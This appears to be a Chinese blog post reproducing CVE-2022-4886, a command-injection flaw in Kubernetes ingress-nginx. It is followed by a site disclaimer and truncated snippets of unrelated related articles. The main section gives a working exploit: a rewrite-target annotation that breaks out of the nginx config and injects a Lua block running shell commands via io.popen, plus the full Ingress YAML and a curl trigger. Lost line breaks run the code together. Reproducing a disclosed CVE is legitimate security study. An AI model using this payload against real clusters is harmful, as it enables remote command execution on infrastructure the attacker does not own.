CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yamlk apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

 nginx.ingress.kubernetes.io/rewrite-target: |execute-command/ last;     #用于将所有请求重定向到/execute-command}#注入了一个新路径,用于通过lua脚本执行命令location execute-command/ {content_by_lua_block {local handle = io.popen("ls -l")local result = handle:read("*a")handle:close()ngx.say(result)}}location /fs/{

演示

部署的ingress如下所示 

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:name: ingress-exploitannotations:kubernetes.io/ingress.class: "nginx"nginx.ingress.kubernetes.io/rewrite-target: |execute-command/ last;}location execute-command/ {content_by_lua_block {local handle = io.popen("ls -l")local result = handle:read("*a")handle:close()ngx.say(result)}}location /fs/{spec:rules:- host: k8s.evil.mehttp:paths:- path: /pathType: Prefixbackend:service:name: exploitport:number: 8080

 在容器中可以看到

 curl --header "Host: k8s.evil.me" http://10.98.219.148/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/181407.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux - 动静态库(下篇)

前言 在上篇博客当中,对静态库是什么,怎么使用,简单实现自己的静态库,这些做了描述,具体请看上篇博客: 本篇博客将会对 动态库是什么,怎么使用,简单实现自己的动态库&#xff0c…

ESP32-Web-Server 实战编程-使用文件系统建立强大的 web 系统

ESP32-Web-Server 实战编程-使用文件系统建立强大的 web 系统 概述 在前述章节我们讲述了在网页端控制多个 GPIO 的案例。当程序开始变得复杂,让一些功能“自动起来”是一个好的选择。 在前面的示例中,我们需要在后端为每个前端代码的 URL 指定一个对…

Android RecyclerView分析 第一篇【ChildHelper】

一、在RecyclerView中的位置与角色 在RecyclerView对象创建时,会创建一个 ChildHelper 对象。 在设置layoutManager时,将 RecyclerView中的成员变量 mChildHelper 传进 layoutManager中。 ChildHelper 封装了对 RecyclerView所有子View的所有操作。包括…

播放器开发(五):视频帧处理并用SDL渲染播放

目录 学习课题:逐步构建开发播放器【QT5 FFmpeg6 SDL2】 步骤 VideoOutPut模块 1、初始化【分配缓存、读取信息】 2、开始线程工作【从队列读帧->缩放->发送渲染信号到窗口】 VideoWidget自定义Widget类 1、定义内部变量 2、如果使用SDL,需要进…

Matplotlib直方图的创建_Python数据分析与可视化

Matplotlib直方图的创建 概念区分绘制直方图 概念区分 什么是直方图? 直方图(Histogram)又称质量分布图,是统计报告图的一种,由一系列高度不等的纵向条纹或线段表示数据分布的情况,一般用横轴表示数据所属…

探索性数据分析(EDA):从数据中发现洞察力

写在开头 在数据科学的世界中,探索性数据分析(Exploratory Data Analysis,EDA)是一项至关重要的任务,它能够帮助我们深入了解数据、发现潜在的模式,并为进一步的分析和建模提供基础。本篇博客将介绍探索性数据分析的基本技术和方法,通过具体的数字、场景和代码,帮助读…

解锁文件安全新境界!迅软DSE带您领略数据加密的魅力!

随着信息技术的不断发展,企业数据信息的安全与保护受到愈发广泛的关注。而文件加密软件得益于其强大的系统功能能够有效地保护企业重要数据的隐私和安全,成为越来越多企事业单位在进行内部数据安全防护工作时的优选。 一、文件加密软件的作用 文件加密软…

国产数据库

当今世界,数据已成为重要的生产要素,数据库管理系统更是广泛应用于信息化行业各领域,国内数据库产业能否健康可持续的发展,在很大程度上影响着国民经济发展和网络空间安全。 当前,国产数据库行业竞争非常激烈&#xf…

c++基础----new

c基础----new 在C中,new是一个运算符,用于动态分配内存并返回指向该内存的指针。它可以用于创建单个对象、数组以及动态分配的对象。 下面是new的几种常见用法: 动态分配单个对象: int* ptr new int; // 动态分配一个int类型…

Wi-Fi标准

Wi-Fi 标准 记录关于Wi-Fi 标准 Wi-Fi 6(802.11ax): 这是目前最新的无线网络标准,提供了更高的速度、更好的性能和更高的容量。Wi-Fi 6支持更多的设备连接、更快的速度和更低的延迟,因此是为未来的高密度无线网络设…

HCIE 01:基于前缀列表的BGP ORF功能

当运行BGP协议的某台设备上,针对入方向配置了基于ip-prefix的路由过滤,过滤了邻居发送的路由; 目前想,通过在peer关系的两端设备上都配置ORF功能,实现路由发送端只能送路由接收端过滤后的路由; ORF功能的说…

总结vue3 的一些知识点:MySQL 排序

MySQL 排序 我们知道从 MySQL 表中使用 SQL SELECT 语句来读取数据。 如果我们需要对读取的数据进行排序,我们就可以使用 MySQL 的 ORDER BY 子句来设定你想按哪个字段哪种方式来进行排序,再返回搜索结果。 语法 以下是 SQL SELECT 语句使用 ORDER B…

Sedex 验厂有证书的吗

【Sedex 验厂有证书的吗】 SEDEX是一家总部设在英国伦敦的非赢利组织,世界上任何地点的公司都可以申请会员资格。SEDEX已获得了许多大型零售商和生产商的青睐,许多零售商、超市、品牌商、供应商和其它组织都要求与之合作的农场、工厂和制造商参加SEDEX成…

Leetcode—1670.设计前中后队列【中等】

2023每日刷题(四十三) Leetcode—1670.设计前中后队列 实现代码 erase(iterator position)在删除vector中的元素后,会将该元素的后面所有元素都往前挪一位。因此,原先的迭代器指向的元素就不是原来那个了,而是它的后…

2023年05月 Scratch图形化(四级)真题解析#中国电子学会#全国青少年软件编程等级考试

Scratch等级考试(1~4级)全部真题・点这里 一、单选题(共10题,每题3分,共30分) 第1题 下列积木运行后的结果是?( )(说明:逗号后面无空格) A:我 B:爱 C:中 D:国 答案:B 两个字符串连接后的第8个字符是“爱”。 第2题 接鸡蛋游戏中,天空掉下来有鸡蛋、石…

Flink Flink中的合流

一、Flink中的基本合流操作 在实际应用中,我们经常会遇到来源不同的多条流,需要将它们的数据进行联合处理。所以 Flink 中合流的操作会更加普遍,对应的 API 也更加丰富。 二、联合(Union) 最简单的合流操作&#xf…

开源免费跨平台数据同步工具-Syncthing

Syncthing是一款开源免费跨平台的文件同步工具,是基于P2P技术实现设备间的文件同步,所以它的同步是去中心化的,即你并不需要一个服务器,故不需要担心这个中心的服务器给你带来的种种限制,而且类似于torrent协议&#x…

卡码网语言基础课 | 16. 出现频率最高的字母

目录 一、 哈希表 二、 编写解题 2.1 统计出现次数 2.2 解答 通过本次练习,将学习到C中哈希表的基础知识 题目: 给定一个只包含小写字母的字符串,统计字符串中每个字母出现的频率,并找出出现频率最高的字母,如果…

代洋集团:借力太阳能监测系统,推动绿色能源的未来

在当今这个能源短缺、环境问题日益严峻的时代,寻找清洁、可再生的能源成为了全球的共同使命。代洋集团作为国内领先的企业,积极响应国家号召,引入太阳能监测系统,大力推广绿色能源,为建设可持续发展的未来世界贡献力量…

React 基础使用

react 是一个开源的 JavaScript 库,用于将数据渲染为 HTML 界面(只关注视图)。 react 使用了虚拟 DOM 和 Diff 算法。当数据更新后,Diff 算法会将新生成的虚拟 DOM 和之前的虚拟 DOM 进行对比,只将不同的地方更新到页…